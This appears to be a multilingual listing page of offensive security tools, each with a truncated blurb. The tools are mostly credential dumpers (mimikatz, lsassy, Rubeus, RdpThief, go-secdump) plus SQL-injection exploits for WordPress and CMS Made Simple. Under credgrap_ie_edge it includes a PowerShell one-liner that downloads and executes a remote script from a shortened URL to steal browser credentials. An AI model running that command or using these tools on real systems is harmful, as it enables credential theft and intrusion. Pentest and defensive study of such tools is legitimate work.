RdpThief

RdpThief RdpThief by itself is a standalone DLL that when injected in the mstsc.exe process, will perform API hooking, extract the clear-text credentials and save them to a file. An aggressor script accompanies it, which is responsible for managing the state, monitoring for new processes and...

Seth

Seth Seth is a tool written in Python and Bash to MitM RDP connections by attempting to downgrade the connection in order to extract clear text credentials. It was developed to raise awareness and educate about the importance of properly configured RDP connections in the context of pentests,...

BlueFish

BlueFish BlueFish is a Python-based automation tool designed to simplify the analysis of PCAP Packet Capture files. It leverages the power of Wireshark's command-line tool, tshark, to extract valuable information from network captures. With BlueFish, you can quickly identify potential login...

ThunderCloud

ThunderCloud Cloud Exploit Framework Usage root@kitploit: python3 tc.py -h | | | | | / | | | | | | | | | | | | | | | | | | | ' | | | | ' \ / |/ \ '| | | |/ | | | |/ | | | | | | | || | | | | | | / | | || | | || | | | / || ||,|| ||,||| ||/ ,|,| usage: tc.py -h -ce COGNITOENDPOINT -reg...

credgrap_ie_edge

credgrapieedge Content: Extract stored credentials from Internet Explorer and Edge Author: Florian Hansemann | @HanseSecure | https://hansesecure.de Date: 04/2018 Usage powershell -nop -exec bypass -c "IEX New-Object Net.WebClient.DownloadString'http://bit.ly/2K75g15'" Recommendation Powershell...

Rubeus

Rubeus Rubeus is a C toolset for raw Kerberos interaction and abuses. It is heavily adapted from Benjamin Delpy's Kekeo project CC BY-NC-SA 4.0 license and Vincent LE TOUX's MakeMeEnterpriseAdmin project GPL v3.0 license. Full credit goes to Benjamin and Vincent for working out the hard component...

gMSA_Dumper

gMSADumper Lee cualquier blob de contraseña de gMSA al que el usuario pueda acceder y analiza los valores. root@kitploit: gMSADumper.py -h...

lsassy

lsassy Python tool to remotely extract credentials on a set of hosts. This blog post explains how it works. This tool uses impacket project to remotely read necessary bytes in lsass dump and pypykatz to extract credentials...

mimipenguin

MimiPenguin 2.0 一种用于从当前 Linux 桌面用户转储登录密码的工具。改编自流行 Windows 工具 mimikatz 背后的思路。此漏洞被分配了 CVE-2018-20781 https://vulners.com/cve/CVE-2018-20781。有趣的是，它在 GNOME Keyring 3.27.2 之后仍未修复，并且在 3.28.0.2-1ubuntu1.18.04.1 中仍然有效。 详细信息 通过转储进程并提取包含明文密码概率较高的行，利用内存中的明文凭据。将尝试通过检查 /etc/shadow...

NtDumpBOF

NtDumpBOF Adaptación BOF de la herramienta https://github.com/ricardojoserf/NativeDump escrita por @ricardojoserf. Importa NtDump.cna y ejecuta: root@kitploit: ntdump El archivo minidump se creará en memoria y se descargará mediante CALLBACKFILE y CALLBACKFILEWRITE. Una vez descargado, el archivo...

PyHook

PyHook PyHook is the python implementation of my SharpHook project, It uses various API hooks in order to give us the desired credentials. PyHook Uses frida to inject it's dependencies into the target process Supported Processes...

CVE-2024-1698-NotificationX-WordPress-Plugin-SQL-Injection-to-Admin-Credential-Extraction

CVE-2024-1698 – Inyección SQL en el plugin NotificationX de WordPress Ciega basada en tiempo Inyección SQL ciega basada en tiempo sin autenticación → Extrae el nombre de usuario y el hash de la contraseña de administrador de WordPress. 🧠 Resumen de la vulnerabilidad Las versiones de NotificationX...

zynos-attacker

IMPORTANTE : Estos scripts están destinados únicamente a fines educativos. Descripción : Con estos scripts puedes atacar routers ZynOS y modificar/extraer cualquier cosa que desees en el router objetivo, desde extraer el nombre de usuario y contraseña del ISP hasta inyectar IPs de servidores DNS...

go-secdump

go-secdump 描述 go-secdump 是一个用于从 SAM 注册表配置单元远程提取哈希值以及从 SECURITY 配置单元提取 LSA 机密和缓存的哈希值的工具，无需远程代理，也无需接触磁盘。 该工具基于 go-smb 库构建，并利用它与 Windows 远程注册表通信，直接从内存中检索注册表键。 该工具的构建是为了学习经验，并作为概念验证，证明应该能够远程从 SAM 配置单元检索 NT 哈希值、LSA 机密以及域缓存凭据，而无需先将注册表配置单元保存到磁盘，然后再在本地解析它们。 需要克服的主要问题是，SAM 和 SECURITY 配置单元仅可由 NT...

mimikittenz

mimikittenz mimikittenz is a post-exploitation powershell tool that utilizes the Windows function ReadProcessMemory in order to extract plain-text passwords from various target processes. mimikittenz can also easily extract other kinds of juicy info from target processes using regex patterns...

mimikatz

mimikatz mimikatz 是我为了学习 C 语言并对 Windows 安全进行一些实验而制作的一款工具。 如今它以从内存中提取明文密码、哈希、PIN 码和 Kerberos 票据而闻名。mimikatz 还可以执行哈希传递（pass-the-hash）、票据传递（pass-the-ticket）或构建黄金票据（Golden tickets）。 root@kitploit: .. mimikatz 2.0 alpha x86 release "Kiwi en C" Apr 6 2014 22:02:03 . ^ . / \ / \ / Benjamin DELPY...

wp-mail-masta-exploit

WordPress Plugin Mail Masta 1.0 - Exploit CVE-2016-10956 Este script explota la vulnerabilidad CVE-2016-10956 en el plugin Mail Masta 1.0 de WordPress para extraer credenciales de wp-config.php. Cómo usar 1. Clona el repositorio: root@kitploit: git clone...

SharePoint-ToolShell-CVE-2025-53770-Incident-Analysis

SharePoint ToolShell CVE-2025-53770 – Análisis de Incidentes Resumen Este proyecto documenta la investigación de un intento de explotación real dirigido a un servidor SharePoint utilizando la vulnerabilidad ToolShell CVE-2025-53770. El ataque demuestra una cadena de explotación completa que inclu...

VeeamDumper-BOF

Veeam Dumper BOF Una BOF de extracción de credenciales para Veeam Backup and Replication y Veeam One por Stephen Munro y Logan Kroeger de @MWRCyberSec. La BOF debe ejecutarse en un beacon de administrador en un servidor de Veeam One o Veeam Backup and Replication y es compatible con Cobalt Strike...

CMS-Made-Simple-2.2.9-Unauthenticated-SQL-Injection-Exploit-CVE-2019-9053-

CMS Made Simple = 2.2.9 SQL注入漏洞利用 CVE-2019-9053 📌 描述 该漏洞利用工具针对CMS Made Simple = 2.2.9（CVE-2019-9053）中的未授权SQL注入漏洞。攻击者可以通过基于时间的盲SQL注入提取敏感信息，如用户名、电子邮件、密码哈希和盐值。 此外，该利用工具还支持使用提供的字典进行密码破解。 🚀 特性 未授权SQL注入 提取用户名、电子邮件和密码哈希 获取密码盐值 支持通过字典破解密码（可选） 使用基于时间的盲SQL注入 🔧 安装 克隆仓库： root@kitploit: git clone...